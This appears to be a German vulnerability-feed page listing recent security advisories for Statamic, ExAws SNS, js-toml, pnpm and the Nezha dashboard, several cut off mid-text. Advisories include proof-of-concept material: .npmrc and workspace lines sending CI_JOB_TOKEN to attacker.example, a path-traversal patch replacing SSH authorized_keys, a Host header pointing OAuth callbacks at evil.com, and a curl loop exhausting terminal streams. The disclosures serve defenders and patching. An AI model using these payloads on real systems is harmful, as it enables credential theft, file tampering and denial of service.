| Risiko / Label | Veröffentlichung | |
|---|---|---|
| Risiko 2 / 10 CVE-2026-54244 | vor 1 Stunde(n) | |
| ### Impact The Live Preview endpoint for existing entries and terms only checked view authorization, but it accepts and renders caller-supplied field values. A Control Panel user with view but not edit permission could therefore submit content they were not authorized to author and generate a shareable Live Preview URL rendering it. ### Patches This has been fixed in 5.74.0 and 6.20.3. | ||
| Risiko 5 / 10 CVE-2026-54243 | vor 1 Stunde(n) | |
| ### Impact Form submission values were not neutralized for spreadsheet formula characters when exported to CSV. A submission containing a value beginning with a formula trigger character (e.g. = , + , - , @ ) could be interpreted as a live formula when a Control Panel user opens the export in a spreadsheet application. Form submissions can come from unauthenticated front-end visitors, so the malicious value can be supplied by an anonymous user and is later triggered by an editor opening the export. Exploitation affects the spreadsheet application used to open the export, not the Statamic application or server; the data at risk is the form submission data the exporting user is already authorized to view. ### Patches This has been fixed in 5.73.24 and 6.20.1. | ||
| Risiko 5 / 10 CVE-2026-54242 | vor 1 Stunde(n) | |
| ### Impact The Glide image proxy's URL validation could be bypassed using DNS rebinding. The remote hostname was validated as publicly routable, but resolved again when the image was actually fetched, so an attacker controlling the hostname's DNS could rebind it to an internal address after validation. This could cause the server to make HTTP requests to internal addresses — including loopback, private network, and cloud metadata endpoints. This affects sites that pass user-supplied URLs to Glide. ### Patches This has been fixed in 5.73.24 and 6.20.1. | ||
| Risiko 7.5 / 10 GHSA-8jgf-23q5-x7xx | vor 1 Stunde(n) | |
| ### Summary
`ExAws.SNS.verify_message/1` fetches the signing certificate from the `SigningCertURL` field of the incoming SNS message without validating that the URL uses HTTPS or that its host is an AWS-owned SNS certificate domain. An unauthenticated attacker who can POST to any endpoint that calls `verify_message/1` can supply an attacker-controlled `SigningCertURL`, sign a forged SNS message with their own RSA key, and cause the function to return `:ok`, completely bypassing SNS signature verification.
### Details
In `lib/ex_aws/sns.ex` (lines 475–483), `verify_message/1` performs three checks: `validate_message_params/1` (confirms required fields are present), `validate_signature_version/1` (confirms `SignatureVersion == "1"`), then signature verification. The signature step calls `ExAws.SNS.PublicKeyCache.get(message["SigningCertURL"])` and passes the result to `:public_key.verify/4`.
Neither `validate_message_params/1` nor any other step checks that `SigningCertURL` is an HTTPS URL or that the hostname matches the expected pattern (e.g. `sns. |
||
| Risiko 5 / 10 CVE-2026-50029 | vor 1 Stunde(n) | |
| ### Summary `js-toml`'s interpreter checks whether a key already exists in a parser-built container with `if (object[key])` instead of `if (key in object)`. When the prior value is a falsy primitive — `false`, `0`, `0n`, `0.0`, `-0`, or `""` — the duplicate-key branch is skipped and the value is silently overwritten by a later sub-table, dotted-key sub-table, or array-of-tables sharing the same name. Per the TOML 1.0.0 spec ("Defining a key multiple times is invalid"; "You cannot define any key or table more than once"), this should be a parse error. The result is **structural type confusion of attacker-named keys** in the value returned by `load()`. A boolean-typed `false` (or numeric `0`) becomes a truthy object. Host applications that gate behavior on `if (config.flag)`, `if (!user.banned)`, `if (config.allowDelete)`, or `if (config.publicMode)` will silently take the truthy branch. This is **distinct** from [GHSA-65fc-cr5f-v7r2](https://github.com/sunnyadn/js-toml/security/advisories/GHSA-65fc-cr5f-v7r2) (the 1.0.2 prototype-pollution fix). `Object.prototype` is **not** polluted. The `Object.create(null)` mitigation from 1.0.2 is intact; the bug here is in the duplicate-key state machine, not in container construction. ### Details Two truthy checks are wrong: `src/load/interpreter.ts:214` — `Interpreter.tryCreatingObject` ```js if (object[key]) { // falsy primitives slip through // duplicate-key logic } else { object[key] = createSafeObject(); // silently overwrites the prior falsy value ... } ``` `src/load/interpreter.ts:278` — `Interpreter.getOrCreateArray` ```js if (object[first] && !Array.isArray(object[first])) { // same flaw throw new DuplicateKeyError(); } object[first] = object[first] || []; // overwrites the prior falsy value ``` Both should use the `in` operator. Containers are created via `Object.create(null)`, so `in` is unambiguous (no inherited keys to worry about). The bug is reachable through every parent-walking interpreter path: - `assignValue` — dotted keys in `key = value` - `createTable` — `[stdTable]` headers - `getOrCreateArray` — `[[arrayOfTables]]` headers ### PoC ```toml isAdmin = false [isAdmin] forced = "yes" ``` ```js import { load } from 'js-toml'; const config = load(` isAdmin = false [isAdmin] forced = "yes" `); console.log(JSON.stringify(config)); // {"isAdmin":{"forced":"yes"}} console.log(config.isAdmin ? 'BYPASS' : 'safe'); // BYPASS if (config.isAdmin) { // attacker reaches admin-only code } ``` ### Impact Spec-violating input acceptance leading to structural type confusion. (CWE-697) ### Suggested fix in `src/load/interpreter.ts` ```diff export class Interpreter extends BaseCstVisitor { ignoreImplicitDeclared, ignoreExplicitDeclared ) { - if (object[key]) { + if (key in object) { if ( !isPlainObject(object[key]) || (!ignoreExplicitDeclared && ``` ```diff export class Interpreter extends BaseCstVisitor { return this.getOrCreateArray(keys, object[first], idx + 1); } - if (object[first] && !Array.isArray(object[first])) { + if (first in object && !Array.isArray(object[first])) { throw new DuplicateKeyError(); } object[first] = object[first] || []; ``` | ||
| Risiko 5 / 10 CVE-2026-55180 | vor 1 Tag(en) | |
|
## Maintainer Action Plan
This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path.
- Advisory: `CAND-PNPM-122` / `GHSA-3qhv-2rgh-x77r`
- Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-3qhv-2rgh-x77r
- Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1
- Shared patch branch: `security/ghsa-batch-2026-06-09`
- Patch commit: `a93449314f398cf4bdf2e28d033c02d37395ad22`
- Base commit: `origin/main` `55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec`
- Maintainer priority: `start-here`
- Component: `pnpm config/env replacement and registry auth`
- Patch area: project .npmrc env placeholders are not expanded into registry/auth destinations
- Affected packages: `npm:pnpm`, `npm:@pnpm/config.reader`, `rust:pacquet`
- CWE IDs: `CWE-201`, `CWE-200`, `CWE-522`
- Conservative CVSS: `6.5` / `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N`
- Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory.
### Expected Patched Behavior
Project `.npmrc` environment placeholders do not expand into registry or auth destinations; the secret is absent from the request URL and auth header.
### Files And Tests To Review
- `config/reader/src/loadNpmrcFiles.ts`
- `config/reader/src/getOptionsFromRootManifest.ts`
- `config/reader/test/index.ts`
- `config/reader/test/getOptionsFromRootManifest.test.ts`
- `pacquet/crates/config/src/npmrc_auth.rs`
- `pacquet/crates/config/src/npmrc_auth/tests.rs`
- `pacquet/crates/config/src/workspace_yaml.rs`
- `pacquet/crates/config/src/workspace_yaml/tests.rs`
- `.changeset/sharp-registry-env-placeholders.md`
### Focused Validation
Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed.
```bash
./node_modules/.bin/tsgo --build config/reader/tsconfig.json
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/getOptionsFromRootManifest.test.ts --runInBand
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "project \.npmrc does not expand env variables in registry URLs|project \.npmrc does not expand env variables in scoped registry URLs or URL-scoped keys|project \.npmrc does not expand env variables in auth values|user \.npmrc may expand env variables in registry URLs|drops the placeholder when the env var is unset|substitutes normally when the env var is set|only drops the unresolved placeholder|explicit .*undefined.* fallbacks|pnpm-workspace\.yaml registries do not expand env variables|return a warning when the \.npmrc has an env variable" --runInBand
./node_modules/.bin/eslint config/reader/src/loadNpmrcFiles.ts config/reader/src/getOptionsFromRootManifest.ts config/reader/test/index.ts config/reader/test/getOptionsFromRootManifest.test.ts
cargo fmt --manifest-path pacquet/crates/config/Cargo.toml --check
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_scoped_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_url_scoped_keys --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_auth_values --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml trusted_ini_expands_env_placeholders_in_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml ignores_env_vars_inside_workspace_registry_values --lib
git diff --check
cargo fmt --check
```
The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is `results/CAND-PNPM-122-patched-result.json`.
# CAND-PNPM-122: Repository config can expand victim environment secrets into registry requests before scripts run
## Advisory Details
### Summary
pnpm and pacquet expanded `${ENV_VAR}` placeholders from repository-controlled `.npmrc` and `pnpm-workspace.yaml` into registry request destinations and registry credentials. A malicious repository could cause dependency resolution to send victim environment secrets to an attacker-selected registry before lifecycle scripts run.
### Details
The vulnerable TypeScript pnpm path was:
- `config/reader/src/loadNpmrcFiles.ts` loaded project `.npmrc` and substituted environment placeholders in keys and values.
- `config/reader/src/getOptionsFromRootManifest.ts` substituted environment placeholders inside workspace `registry`, `registries`, and `namedRegistries` settings.
- `config/reader/src/index.ts` merged those expanded registry/auth values into `pnpmConfig.registries`, `pnpmConfig.authConfig`, and `pnpmConfig.configByUri`.
- `resolving/npm-resolver/src/fetch.ts` built metadata request URLs from the selected registry.
- `network/fetch/src/fetchFromRegistry.ts` dispatched the request and attached matching auth headers before install lifecycle scripts could run.
The pacquet parity path was:
- `pacquet/crates/config/src/npmrc_auth.rs` expanded project `.npmrc` placeholders while parsing registry URLs and auth values.
- `pacquet/crates/config/src/workspace_yaml.rs` expanded workspace registry placeholders.
- `pacquet/crates/resolving-npm-resolver/src/fetch_full_metadata.rs` used the configured registry URL and `AuthHeaders` for metadata fetches.
### PoC
Repository `.npmrc` URL-path exfiltration:
```ini
registry=https://attacker.example/${CI_JOB_TOKEN}/
```
Repository `.npmrc` auth-header exfiltration:
```ini
registry=https://attacker.example/
//attacker.example/:_authToken=${CI_JOB_TOKEN}
```
Repository `pnpm-workspace.yaml` URL-path exfiltration:
```yaml
registries:
default: https://attacker.example/${CI_JOB_TOKEN}/
namedRegistries:
work: https://attacker.example/${CI_JOB_TOKEN}/npm/
```
Exploit method:
1. The victim checks out the repository and runs a pnpm or pacquet dependency-management command with `CI_JOB_TOKEN` or another sensitive environment variable present.
2. Before the patch, repository config expanded the placeholder to the victim secret.
3. The resolver used the expanded registry or matching auth entry to construct a metadata request.
4. The victim sent a request such as `https://attacker.example/ |
||
| Risiko 7.5 / 10 CVE-2026-50015 | vor 1 Tag(en) | |
| ## Summary pnpm's patch application pipeline (`@pnpm/patch-package`) performs no path validation on file paths extracted from `.patch` files. An attacker who contributes a malicious patch file via a pull request can write attacker-controlled content to or delete arbitrary files on the filesystem during `pnpm install`, as the user running the install. The `diff --git` header paths containing `../../` sequences traverse out of the package directory, and the traversal is difficult to catch in code review because patch file diff headers are opaque to most reviewers. ## Vulnerability Details During `pnpm install`, when a `patchedDependencies` entry is present in `pnpm-workspace.yaml`, pnpm reads the referenced `.patch` file and applies it via the embedded `@pnpm/patch-package` library. The `applyPatchToDir` function at `patching/apply-patch/src/index.ts:12-13` calls `process.chdir(opts.patchedDir)`, setting the working directory to the installed package location deep inside `node_modules/.pnpm/`. The patch parser at `@pnpm/patch-package/dist/patch/parse.js:88` extracts file paths from `diff --git a/(.*?) b/(.*?)` headers using a regex with no path sanitization. The `executeEffects` function in `apply.js` then operates on these unsanitized paths: **File write** (`apply.js:35-49`): ```javascript case 'file creation': { const eff = effect fs.ensureDirSync(dirname(eff.path)) fs.writeFileSync(eff.path, fileContents, { mode: eff.mode }) break } ``` **File delete** (`apply.js:13-22`): ```javascript case 'file deletion': { const eff = effect // TODO: integrity checks if (!opts.dryRun) { fs.unlinkSync(eff.path) } break } ``` A path like `../../../../../../../../../../home/user/.ssh/authorized_keys` in the patch header traverses out of the package directory to an arbitrary location. ## Proof of Concept ```bash # Write variant: bash autofyn_audit/exploits/vuln6_patch_traversal_write/exploit.sh # Result: PASS -- /tmp/vuln6_pwned created with attacker-controlled content # Delete variant: bash autofyn_audit/exploits/vuln7_patch_traversal_delete/exploit.sh # Result: PASS -- /tmp/vuln7_target deleted by malicious patch # Combined chain (delete + replace SSH authorized_keys): bash autofyn_audit/exploits/chain2_patch_ssh_backdoor/exploit.sh # Result: PASS -- authorized_keys replaced with attacker's public key ``` ## Impact Arbitrary file write and delete as the user running `pnpm install`, limited to paths writable by that user. An attacker who submits a PR adding a `.patch` file and `patchedDependencies` config can target SSH authorized_keys, shell configuration, CI/CD files, or other writable files. Patch files may receive less review scrutiny than `package.json` changes because the `../` traversal sequences are in `diff --git` headers that look like patch metadata. ## Suggested Remediation Validate parsed patch file paths against the package root directory. Reject any path that resolves outside the patched package directory via `path.resolve` + prefix check. Alternatively, sanitize at parse time by rejecting paths containing `..` components in `parse.js`. --- > Discovered by [AutoFyn](https://github.com/SignalPilot-Labs/AutoFyn) > Full audit report: [audit_report.md](https://github.com/tempcollab/pnpm/blob/main/autofyn_audit/audit_report.md) > Exploit script: [exploit.sh](https://github.com/tempcollab/pnpm/blob/main/autofyn_audit/exploits/vuln6_patch_traversal_write/exploit.sh) | ||
| Risiko 5 / 10 CVE-2026-50017 | vor 1 Tag(en) | |
| ## Summary
pnpm can send user-level unscoped npm authentication credentials to a registry chosen by a repository-local `.npmrc` file.
In the reproduced case, the user's npm config contains a default registry and an unscoped `_authToken`. The repository does not provide a token-bearing auth line. It only sets `registry=` to a different registry URL. During normal pnpm metadata/install workflows, pnpm binds the user-origin unscoped credential to the repository-selected registry and sends it as an `Authorization` header.
This was reproduced with fake credentials and loopback registries only. No third-party registry or real token was used.
## Affected Behavior Observed
Observed affected:
- pnpm `10.33.2`: `pnpm install --ignore-scripts` sends the user-level unscoped `_authToken` to the repository-selected registry.
- pnpm `11.1.3`: `pnpm install --ignore-scripts` sends the user-level unscoped `_authToken` to the repository-selected registry.
- pnpm `11.2.1` (`next-11` dist tag at testing time): `pnpm install --ignore-scripts` sends the user-level unscoped `_authToken` to the repository-selected registry.
- pnpm `11.1.3`: `pnpm view` also sends user-level unscoped `_authToken`, `_auth`, and `username` / `_password` credentials to the repository-selected registry in the local loopback replay.
Control:
- npm `10.9.7` rejects the same unscoped user `_authToken` configuration with `ERR_INVALID_AUTH` and does not send an `Authorization` header to the repository-selected registry.
- URL-scoped registry token controls held in the local loopback replay: tokens scoped to the trusted registry URL were not sent to the attacker registry.
## Threat Model
Victim:
- developer or CI job with user-level npm registry credentials configured;
- runs `pnpm install`, `pnpm view`, or an equivalent pnpm metadata/restore command in a repository.
Attacker:
- controls repository-local package manager configuration, such as `.npmrc`;
- can set `registry=` to a registry endpoint they control;
- does not need to provide a token-bearing auth line for the strong case.
Boundary:
Credentials from a higher-trust user configuration should not be rebound to a lower-trust repository-selected registry unless the credential is explicitly scoped to that registry.
## Minimal Reproduction
The reproducer below starts two loopback HTTP registries:
- a trusted registry URL used in the isolated user `.npmrc`;
- an attacker registry URL used in the repository-local `.npmrc`.
The isolated user `.npmrc` contains:
```ini
registry= |
||
| Risiko 7.5 / 10 CVE-2026-50016 | vor 1 Tag(en) | |
| ## Summary
pnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause `pnpm install - ignore-scripts` to replace paths in the current project with symlinks to attacker-controlled dependency package directories.
`.git/hooks` is only one useful target. The same primitive can replace other project-local paths that are consumed by later tools, for example:
- `.husky` or `.githooks` for Git hook dispatchers
- `scripts/`, `tools/`, `bin/`, or `tests/` for project scripts and CI commands
- `.github/actions/ |
||
| Risiko 5 / 10 CVE-2026-50014 | vor 1 Tag(en) | |
| ## Summary
pnpm passes the lockfile-controlled git `resolution.commit` value to `git fetch` without a `--` separator or commit-format validation. For git dependencies fetched through the shallow-fetch path, a malicious lockfile can replace the expected 40-character commit hash with a Git option such as `--upload-pack= |
||
| Risiko 5 / 10 CVE-2026-50021 | vor 1 Tag(en) | |
| ## Summary pnpm's tarball extraction worker skips integrity verification when the `integrity` field is absent from the lockfile resolution. If an attacker can both modify `pnpm-lock.yaml` to remove the `integrity:` field and cause the referenced registry URL to serve altered package content, `pnpm install --frozen-lockfile` can install the altered package without an integrity error. npm's `npm ci` enforces integrity by default; pnpm's behavior of silently skipping verification is a pnpm-specific fail-open gap. ## Vulnerability Details The `addTarballToStore` function in `worker/src/start.ts` (lines 189-204) checks `if (integrity)` before verifying the tarball hash. The `TarballResolution` type declares `integrity` as optional (`integrity?: string`). When the lockfile omits the `integrity` field, the guard evaluates to `false`, skipping hash verification entirely. The worker then computes a new hash from the unverified content and stores it as legitimate. ```typescript // worker/src/start.ts:189-204 function addTarballToStore ({ buffer, storeDir, integrity, ... }: TarballExtractMessage) { if (integrity) { // false when integrity is undefined const { algorithm, hexDigest } = parseIntegrity(integrity) const calculatedHash = crypto.hash(algorithm, buffer, 'hex') if (calculatedHash !== hexDigest) { return { status: 'error', error: { type: 'integrity_validation_failed', ... } } } } return { status: 'success', value: { integrity: integrity ?? calcIntegrity(buffer) }, } } ``` ## Proof of Concept ```bash bash autofyn_audit/exploits/vuln1_integrity_bypass/exploit.sh # Publishes a package, generates lockfile, republishes tampered version, # strips integrity field, re-runs install --frozen-lockfile. # Result: PASS -- tampered package installed without integrity error. ``` ## Impact Supply chain compromise in environments where an attacker can both alter the lockfile and cause the referenced registry URL to serve altered package content. The `--frozen-lockfile` flag does not fail closed when the integrity field is missing. ## Suggested Remediation Require an `integrity` field for remote tarball resolutions. Change the `if (integrity)` guard to fail when integrity is absent for non-local packages. When `--frozen-lockfile` is active, reject lockfile entries that lack integrity for remote packages. --- > Discovered by [AutoFyn](https://github.com/SignalPilot-Labs/AutoFyn) > Full audit report: [audit_report.md](https://github.com/tempcollab/pnpm/blob/main/autofyn_audit/audit_report.md) > Exploit script: [exploit.sh](https://github.com/tempcollab/pnpm/blob/main/autofyn_audit/exploits/vuln1_integrity_bypass/exploit.sh) | ||
| Risiko 5 / 10 CVE-2026-50573 | vor 1 Tag(en) | |
| While it is unclear whether this should be classified as a vulnerability, it is being reported through this channel because the current behavior may represent an unsafe default. ## Summary `pnpm install` in non-frozen mode can accept new remote package content after detecting that the downloaded tarball does not match the integrity recorded in `pnpm-lock.yaml`. When a package is already locked with an `integrity` value, and the registry later serves different metadata and tarball content for the same package name and version, pnpm initially reports an integrity mismatch. However, plain `pnpm install` then performs a resolution repair, accepts the registry's new integrity, updates the lockfile, installs the new content, and exits successfully. This means the lockfile integrity check does not act as a hard stop by default. ## Reproduction Scenario 1. Run a local npm-compatible registry. 2. Publish or serve `example-package@1.0.0` with tarball content `v1`. 3. Install it with pnpm: ```bash pnpm add example-package@1.0.0 --registry=http://127.0.0.1:48741 ``` 4. Confirm `pnpm-lock.yaml` contains the `v1` integrity: ```yaml packages: example-package@1.0.0: resolution: integrity: sha512-...v1... ``` 5. Change the registry metadata and tarball for the same `example-package@1.0.0` to content `v2`. 6. On a clean store/cache, run: ```bash pnpm install --registry=http://127.0.0.1:48741 ``` ## Observed Behavior pnpm detects the checksum mismatch: ```text WARN Got unexpected checksum for "http://127.0.0.1:48741/example-package/-/example-package-1.0.0.tgz". Wanted "sha512-...v1..." Got "sha512-...v2...". ERR_PNPM_TARBALL_INTEGRITY The lockfile is broken! Resolution step will be performed to fix it. ``` However, the install still succeeds: ```text INSTALL_RC=0 INSTALLED=v2-replaced ``` The lockfile is then rewritten to trust the new remote integrity: ```yaml packages: example-package@1.0.0: resolution: integrity: sha512-...v2... ``` ## Expected Behavior If a downloaded tarball does not match the integrity recorded in `pnpm-lock.yaml`, the install should fail by default. The lockfile integrity should be treated as authoritative unless the user explicitly requests lockfile repair or dependency update behavior. ## Security Impact This behavior weakens the protection normally expected from a committed lockfile. If a registry is compromised and an attacker overwrites the metadata and tarball for an existing package version, a new environment without the old pnpm store/cache may install the attacker's replacement package even though the project already has a lockfile with the original integrity. Examples of affected new or clean environments include: - an engineer setting up the project on a new machine - a new team member onboarding to the project In this situation, pnpm first detects that the downloaded tarball does not match the integrity stored in `pnpm-lock.yaml`. However, instead of failing by default, plain `pnpm install` performs a resolution repair, trusts the current remote registry metadata, updates the lockfile to the new integrity, and installs the new registry content. In other words, when the lockfile and registry disagree, the default non-frozen behavior can end up trusting the remote registry over the content previously recorded in the lockfile. This is especially relevant for: - private registries that allow overwriting or republishing the same version - registry mirrors or proxies that can serve changed metadata and tarballs - compromised public or private registries - compromised registry proxy infrastructure The behavior is also surprising because the command reports an integrity error but still exits successfully after resolution repair. This issue does not occur when `--frozen-lockfile` is enabled. In frozen mode, the same integrity mismatch fails the install and does not install the changed package content. However, since the lockfile already records an integrity value, the integrity for the same package version should normally not change. If it does change, one likely explanation is that the server or registry has been compromised or is serving mutated package content. Under normal package publishing workflows, changed package content should be published as a new version instead of replacing an existing version. For that reason, it may be safer for pnpm's default behavior to be closer to frozen mode for this specific case. At minimum, pnpm should not automatically repair the lockfile and trust the registry after an integrity mismatch. It should fail and let the user explicitly decide whether to discard the locked integrity, re-resolve the package from the remote registry, and update the lockfile. ## Comparison In the same scenario, `npm install` with an existing `package-lock.json` fails with `EINTEGRITY` and does not install the changed tarball. `pnpm install --frozen-lockfile` also fails as expected: ```text ERR_PNPM_TARBALL_INTEGRITY ``` The issue is specific to the default non-frozen behavior of plain `pnpm install` in non-CI environment. | ||
| Risiko 5 / 10 CVE-2026-53523 | vor 14 Tag(en) | |
| ## 1. Description The `getRedirectURL` function in `oauth2.go:22-29` constructs the OAuth2 callback URL by concatenating the request's `Host` header with a fixed path, with **zero validation** of the Host header: ```go func getRedirectURL(c *gin.Context) string { scheme := "http://" referer := c.Request.Referer() if forwardedProto := c.Request.Header.Get("X-Forwarded-Proto"); forwardedProto == "https" || strings.HasPrefix(referer, "https://") { scheme = "https://" } return scheme + c.Request.Host + "/api/v1/oauth2/callback" } ``` **File:** `cmd/dashboard/controller/oauth2.go:22-29` This function is called from `oauth2redirect()` at line 53: ```go func oauth2redirect(c *gin.Context) (*model.Oauth2LoginResponse, error) { // ... redirectURL := getRedirectURL(c) o2conf := o2confRaw.Setup(redirectURL) // ... url := o2conf.AuthCodeURL(state, oauth2.AccessTypeOnline) return &model.Oauth2LoginResponse{Redirect: url}, nil } ``` The `redirectURL` is passed into `o2confRaw.Setup(redirectURL)` which configures the OAuth2 `Config.RedirectURL` field (`oauth2config.go:22-33`). This `RedirectURL` is sent to the OAuth2 provider (e.g., GitHub, Google, Microsoft) as the callback endpoint. The OAuth2 provider will redirect the user's browser — along with the authorization code — to this URL after the user authenticates. The security issue is that `c.Request.Host` is directly user-controllable via the HTTP `Host` header. An attacker who can control which Host header reaches the oauth2redirect handler can: 1. Set `Host: evil.com` 2. `getRedirectURL` returns `https://evil.com/api/v1/oauth2/callback` 3. The OAuth2 provider redirects the victim's auth code to `evil.com` 4. The attacker's server at `evil.com` captures the auth code 5. The attacker exchanges the code for an access token, binding the victim's OAuth identity to the attacker's dashboard account The scheme detection (lines 24-27) uses `X-Forwarded-Proto` and the `Referer` header, both of which are also user-controllable in certain configurations, so the attacker can force `https://` scheme in the redirect URL. The `oauth2callback` handler at line 129 later uses `state.RedirectURL` (which is stored in `singleton.Cache` at line 65) when calling `exchangeOpenId` at line 152. The cached `redirectURL` was set during the initial `oauth2redirect` call, tying the attack flow together. ## 2. PoC A conceptual attack (no Docker needed): ``` Scenario: OAuth2 provider has loose redirect URI validation (e.g., allows wildcard subdomain matching) 1. Attacker crafts a URL to the dashboard's OAuth2 login endpoint with a modified Host header: GET /api/v1/oauth2/github HTTP/1.1 Host: attacker-controlled.com X-Forwarded-Proto: https 2. The dashboard responds with a redirect to: https://github.com/login/oauth/authorize?client_id=...&redirect_uri=https://attacker-controlled.com/api/v1/oauth2/callback&state=... 3. Victim clicks the attacker's link → authenticates with GitHub → GitHub redirects to https://attacker-controlled.com/api/v1/oauth2/callback?code=AUTH_CODE&state=... 4. Attacker captures the AUTH_CODE from their server logs 5. Attacker exchanges the code at the real dashboard's /api/v1/oauth2/callback endpoint (using the real Host header this time), binding the victim's OAuth identity to their dashboard account ``` **Prerequisites for full exploit:** - The victim must click the attacker's crafted link - The OAuth2 provider must accept the attacker's domain as a valid redirect URI (some providers accept `https://*/*` or allow wildcards; others are strict) ## 3. Impact - **Account takeover**: an attacker who intercepts the OAuth2 authorization code can bind the victim's OAuth identity (GitHub, Google, GitLab, etc.) to their own dashboard account, gaining the victim's access level and permissions - **Privilege escalation**: if the victim is an admin, the attacker gains full administrative control over the Nezha deployment — access to all servers, credentials, and configuration - **Persistence**: once bound, the attacker retains access even if the victim resets their password (unless they also unbind the OAuth2 identity) The attack complexity is higher than typical Host header injection scenarios because it requires: 1. The `Host` header to reach the dashboard's handler unmodified (bypassing reverse proxy normalization) 2. The OAuth2 provider to have loose redirect URL validation 3. User interaction (the victim must authenticate) However, the code-level vulnerability is unambiguous: the application trusts attacker-controlled input (`Host` header) for a security-critical URL that participates in the OAuth2 authorization code flow. ## 4. Remediation 1. **Validate the Host header** against a configured allowlist of known dashboard hostnames: ```go func getRedirectURL(c *gin.Context) string { host := c.Request.Host if !singleton.Conf.IsAllowedHost(host) { host = singleton.Conf.DashboardBaseURL // fallback } // ... } ``` 2. **Pin the redirect URL** to the configured dashboard URL from `singleton.Conf` instead of deriving it from the request Host header: ```go func getRedirectURL(c *gin.Context) string { return singleton.Conf.DashboardBaseURL + "/api/v1/oauth2/callback" } ``` 3. **Remove Host header-based URL construction** entirely — the OAuth2 redirect URL should be deterministic based on server configuration, not dynamic per-request 4. **Add Host header validation middleware** for all OAuth2-related endpoints as defense-in-depth | ||
| Risiko 5 / 10 CVE-2026-53522 | vor 14 Tag(en) | |
| ## 1. Description The Nezha dashboard exposes two endpoints that create long-lived WebSocket streams to monitored agents: - `POST /api/v1/terminal` → `createTerminal()` (terminal.go:27-67) - `POST /api/v1/file` → `createFM()` (fm.go:28-67) Both call `rpc.NezhaHandlerSingleton.CreateStream(streamId, ...)` which inserts a new `ioStreamContext` into an **unbounded** `map[string]*ioStreamContext` (`s.ioStreams` in `io_stream.go:59-67`). There is **no per-user rate limit, no global semaphore, and no per-server connection cap**. Each stream allocates: 1. A `ioStreamContext` struct with several channels and sync primitives 2. Two goroutines via `StartStream()` (io_stream.go:358-369) — bidirectional `io.CopyBuffer` 3. A gRPC IOStream between the dashboard and the agent 4. An agent-side PTY/shell process **Vulnerable code:** `terminal.go:27-67` — `createTerminal`: ```go func createTerminal(c *gin.Context) (*model.CreateTerminalResponse, error) { // ... validation ... rpc.NezhaHandlerSingleton.CreateStream(streamId, getUid(c), server.ID) // ... sends TaskTypeTerminalGRPC to agent ... return &model.CreateTerminalResponse{...}, nil } ``` `fm.go:28-67` — `createFM`: ```go func createFM(c *gin.Context) (*model.CreateFMResponse, error) { // ... validation ... rpc.NezhaHandlerSingleton.CreateStream(streamId, getUid(c), server.ID) // ... sends TaskTypeFM to agent ... return &model.CreateFMResponse{...}, nil } ``` `io_stream.go:55-67` — `CreateStreamWithPurpose` (inserts into unbounded map): ```go func (s *NezhaHandler) CreateStreamWithPurpose(...) { s.ioStreamMutex.Lock() defer s.ioStreamMutex.Unlock() s.ioStreams[streamId] = &ioStreamContext{ creatorUserID: creatorUserID, targetServerID: targetServerID, purpose: purpose, userIoConnectCh: make(chan struct{}), agentIoConnectCh: make(chan struct{}), revokedCh: make(chan struct{}), } } ``` `io_stream.go:319-372` — `StartStream` spawns two goroutines per stream: ```go func (s *NezhaHandler) StartStream(streamId string, timeout time.Duration) error { // ... go func() { _, innerErr := io.CopyBuffer(userIo, agentIo, bp.buf) errCh <- innerErr }() go func() { _, innerErr := io.CopyBuffer(agentIo, userIo, bp.buf) errCh <- innerErr }() return <-errCh } ``` The `NezhaHandler.ioStreams` map is initialized as a plain `make(map[string]*ioStreamContext)` in `nezha.go:36` — no capacity limit, no eviction policy beyond explicit `CloseStream` / `RevokeStreamsForServer`. The `HasPermission` check at terminal.go:41-43 and fm.go:43-45 controls **access scope** but does **not** limit creation volume. A user with `ScopeServerExec` (terminal) or `ScopeServerRead+Write+Delete` (file manager) can open unlimited streams. ## 2. PoC A conceptual attack (no Docker needed): ``` # As an authenticated user with a valid JWT or PAT: for i in {1..1000}; do curl -X POST "https://dashboard.example.com/api/v1/terminal" \ -H "Authorization: Bearer $JWT" \ -H "Content-Type: application/json" \ -d '{"server_id": 1}' & done wait ``` Each request: - Creates a new stream entry in `ioStreams` - Sends a `TaskTypeTerminalGRPC` task to the agent - When the WebSocket attachment occurs (`GET /ws/terminal/{id}`), spawns 2 goroutines for I/O relay and allocates a 1 MB buffer per goroutine The attack targets three resource domains: 1. **Dashboard memory/goroutines** — each stream adds goroutines, channels, and buffers 2. **Agent resources** — each stream spawns a PTY/shell process on the monitored server 3. **gRPC connection pool** — concurrent IOStreams consume gRPC multiplexing capacity The `POST /file (createFM)` endpoint provides an alternative path with the same unbounded behavior, using `ScopeServerRead+Write+Delete` instead of `ScopeServerExec`. ## 3. Impact - **Denial of Service against the dashboard**: memory exhaustion, goroutine starvation, or gRPC stream table overflow from rapid stream creation - **Denial of Service against monitored agents**: each terminal session spawns a PTY process on the agent — an attacker can crash or degrade all agents behind the dashboard - **Operational cascade**: if the dashboard OOMs, all agent monitoring and alerting is lost - **PAT connection-registry bypass**: rapid create-connect-disconnect cycles may evade cleanup tracking The attack requires only authenticated access with standard scopes — no special privileges. Any team member with terminal access to a server can DoS the entire infrastructure. ## 4. Remediation Implement layered rate 